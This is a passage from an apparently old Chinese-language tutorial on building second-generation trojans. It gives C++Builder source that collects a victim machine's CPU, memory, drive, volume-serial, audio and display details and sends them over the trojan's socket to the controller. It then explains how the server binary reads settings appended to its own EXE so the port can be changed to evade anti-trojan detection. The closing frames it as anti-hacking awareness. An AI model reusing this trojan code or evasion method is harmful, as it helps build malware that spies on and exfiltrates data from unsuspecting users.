6、目標機器情況的獲取
相對以上幾部分來說,這裡實現的方法簡單多了,這一段內容會比較輕鬆,一般獲取
機器情況的方法是調用相關的API,這一點上是和應用程序很相像的。
AnsiString cs;
FILE *fp;
fp=fopen("temp.had","w+");
//TODO: Add your source code here
//獲得CPU型號
SYSTEM_INFO systeminfo;
GetSystemInfo (&systeminfo);
cs="CPU類型是:"+String(systeminfo.dwProcessorType)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
MEMORYSTATUS memory;
memory.dwLength =sizeof(memory); //初始化
GlobalMemoryStatus(&memory);
cs="物理內存是(Mb):"+String(int(memory.dwTotalPhys /1024/1024))+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs="可用內存是(Kb):"+String(int( memory.dwAvailPhys/1024))+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
DWORD sector,byte,cluster,free;
long int freespace,totalspace;
UINT type;
char name;
//0未知盤、1不存在、2可移動磁盤、3固定磁盤、4網絡磁盤、
//5CD-ROM、6內存虛擬盤
char volname[255],filename[100];//buffer[512];
DWORD sno,maxl,fileflag ;
for (name=‘A‘;name<=‘Z‘;name++) {//循環檢測A∼Z
type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //獲得磁
盤類型
if(type==0){
cs="未知類型磁盤:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if(type==2){
cs="可移動類型磁盤:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if(type==3){
cs="固定磁盤:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if(type==4) {
cs="網絡映射磁盤:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if (type==5) {
cs="光驅:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if (type==6) {
cs="內存虛擬磁盤:"+String(name)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), volname,25
5,&sno,&maxl,&fileflag,filename,100)) {
cs=String(name)+"盤卷標為:"+String(volname)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs=String(name)+"盤序號為:"+String(sno)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte
,&free,&cluster); //獲得返回參數
totalspace=int(cluster)*byte*sector/1024/1024; //計算總容量
freespace=int(free)*byte*sector/1024/1024; //計算可用空間
cs=String(name)+String(‘:‘)+"盤總空間(Mb):"+AnsiString(totalsp
ace)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs=String(name)+String(‘:‘)+"盤可用空間(Mb):"+AnsiString(frees
pace)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
}
int wavedevice,mididevice;
WAVEOUTCAPS wavecap;
MIDIOUTCAPS midicap;
wavedevice=(int)waveOutGetNumDevs(); //波形設備信息
mididevice=(int)midiOutGetNumDevs(); // MIDI設備信息
if (wavedevice!=0){
waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS));
cs="當前波形設備:"+String(wavecap.szPname)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
if (mididevice!=0){
midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS));
cs="當前MIDI設備:"+String(midicap.szPname)+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
long double tcs;
long double tc;
long int bpp,cp;
cs="當前分辨率為:"+String(Screen->Width)+AnsiString("*")+ String(Screen->Height)
+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL);
tcs=pow(2,bpp); //計算色彩的梯度數
cp= GetDeviceCaps(Form1->Canvas->Handle,PLANES);
tc= pow(double(tcs),double(cp)); //計算色深
AnsiString sss;
sss=bpp;
cs="當前色深為:"+sss+"\n";
fwrite(cs.c_str(),cs.Length(),1,fp);
fclose(fp);
AnsiString FileName="temp.had";
char *buf;
TcpMsgUint Msg2;
strcpy(Msg2.TPassword,Password);
TMemoryStream *ms=new TMemoryStream;
ms->Clear();
if (!FileExists(FileName)) CheckHard();
TFileStream *fs=new TFileStream(FileName,fmOpenRead);
buf=new char[fs->Size+sizeof(TcpMsgUint)+1];
fs->Read(buf,fs->Size);
Msg2.Type=MsgGetHardWare;
Msg2.Length=fs->Size;
FileClose(fs->Handle);
ms->Write(&Msg2,sizeof(TcpMsgUint));
ms->Write(buf,Msg2.Length);
ms->Position=0;
delete []buf;
try{
sock->SendStream(ms);
}
catch(Exception&e) {
}
}
上面一段程序,基本上把相關的系統信息都取到了。
7、服務器端程序的包裝與加密
用過冰河的人都知道,冰河允許用戶自定義端口號。這樣做的目的,是為了防止被反黑
程序檢測出來,這種功能是如何實現的呢?
首先讓我們來做一個實驗:
進入Windows的命令行模式下做如下操作
1)C:\>copy Server.Exe Server.Bak
2)建立一個文本文件Test.Txt,其內容為“http://www.patching.net”
3)C:\>type Text.Txt>>Server.Exe
4)運行Server.Exe
怎樣?是不是發現Server.Exe仍然可以運行呢?木馬服務器端自定制的奧秘就在這裡
:首先生成了一個EXE文件,這個EXE文件裡有一項讀取自身進程內容的操作,讀取時,文件
的指針直接指向進程的末尾,從末尾的倒數N個字節處取得用戶定制的信息,比如端口號等,
然傳遞給程序的相關部分進行處理。這裡不給出相關的代碼部分,有興趣的朋友請參考一
些文件打包程序代碼,它所使用的技術是大同小異的。
8、總結
以上講的幾點技術,基本上包括了所有第二代木馬的特點,個別的木馬程序支持服務器
列表,宏傳播等,實現上大同小異。隨著技術的不斷更新和發展,相信離第五代木馬出現的
日子已經不遠了,黑與反黑,如此往復的的進行下去,看來反黑工作要走的路還很長,從根
本上防止木馬,也只有從我們自身對木馬的認識開始,希望這篇文章在您閱讀之能帶給您
一些反黑技術上的幫助。
(http://www.fanqiang.com)
進入【UNIX論壇】
|